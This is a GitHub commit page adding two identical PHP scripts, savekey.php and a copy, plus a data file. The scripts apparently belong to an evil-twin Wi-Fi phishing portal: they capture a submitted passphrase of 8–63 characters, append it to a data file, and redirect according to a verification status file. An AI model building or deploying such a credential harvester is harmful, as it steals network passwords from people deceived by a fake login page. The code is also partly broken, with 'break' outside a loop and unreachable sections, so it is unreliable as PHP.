Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
chunkingz authored Sep 17, 2016
1 parent d6fb580 commit eb86c19
Show file tree
Hide file tree
Showing 3 changed files with 147 additions and 0 deletions.
1 change: 1 addition & 0 deletions alldata.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
12345678
73 changes: 73 additions & 0 deletions savekey (copy).php
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
<?php
error_reporting(0);

$count_my_page = ("../hit.txt");
$hits = file($count_my_page);
$hits[0] ++;
$fp = fopen($count_my_page , "w");
fputs($fp , "$hits[0]");
fclose($fp);

// Receive form Post data and Saving it in variables

$key1 = @$_POST['key1'];

// Write the name of text file where data will be store
$filename = "../data.txt";
$filename2 = "../status.txt";
$intento = "../intento";


// Marge all the variables with text in a single variable.
$f_data= ''.$key1.'';


//if ( (strlen($key1) < 8) ) {
// header("location:error.html");
// break;

//}

//if ( (strlen($key1) > 63) ) {
//echo "<script type=\"text/javascript\">alert(\"The password must be less than 64 characters\");window.history.back()</script>";
//break;
//}

if (strlen($key1) < 64 AND strlen($key1) > 7) {
header("location:final.html");
$file = fopen($filename, "a");
fwrite($file,"$f_data");
fwrite($file,"\n");
fclose($file);
break;
}else{header("location:error.html");
break;
}

$file = fopen($filename, "w");
fwrite($file,"$f_data");
fwrite($file,"\n");
fclose($file);


$archivo = fopen($intento, "w");
fwrite($archivo,"\n");
fclose($archivo);

while(1)
{

if (file_get_contents("$intento") == 2) {
header("location:final.html");
break;
}
if (file_get_contents("$intento") == 1) {
header("location:error.html");
unlink($intento);
break;
}

;
}

?>
73 changes: 73 additions & 0 deletions savekey.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
<?php
error_reporting(0);

$count_my_page = ("../hit.txt");
$hits = file($count_my_page);
$hits[0] ++;
$fp = fopen($count_my_page , "w");
fputs($fp , "$hits[0]");
fclose($fp);

// Receive form Post data and Saving it in variables

$key1 = @$_POST['key1'];

// Write the name of text file where data will be store
$filename = "../data.txt";
$filename2 = "../status.txt";
$intento = "../intento";


// Marge all the variables with text in a single variable.
$f_data= ''.$key1.'';


//if ( (strlen($key1) < 8) ) {
// header("location:error.html");
// break;

//}

//if ( (strlen($key1) > 63) ) {
//echo "<script type=\"text/javascript\">alert(\"The password must be less than 64 characters\");window.history.back()</script>";
//break;
//}

if (strlen($key1) < 64 AND strlen($key1) > 7) {
header("location:final.html");
$file = fopen($filename, "a");
fwrite($file,"$f_data");
fwrite($file,"\n");
fclose($file);
break;
}else{header("location:error.html");
break;
}

$file = fopen($filename, "w");
fwrite($file,"$f_data");
fwrite($file,"\n");
fclose($file);


$archivo = fopen($intento, "w");
fwrite($archivo,"\n");
fclose($archivo);

while(1)
{

if (file_get_contents("$intento") == 2) {
header("location:final.html");
break;
}
if (file_get_contents("$intento") == 1) {
header("location:error.html");
unlink($intento);
break;
}

;
}

?>

0 comments on commit eb86c19

Please sign in to comment.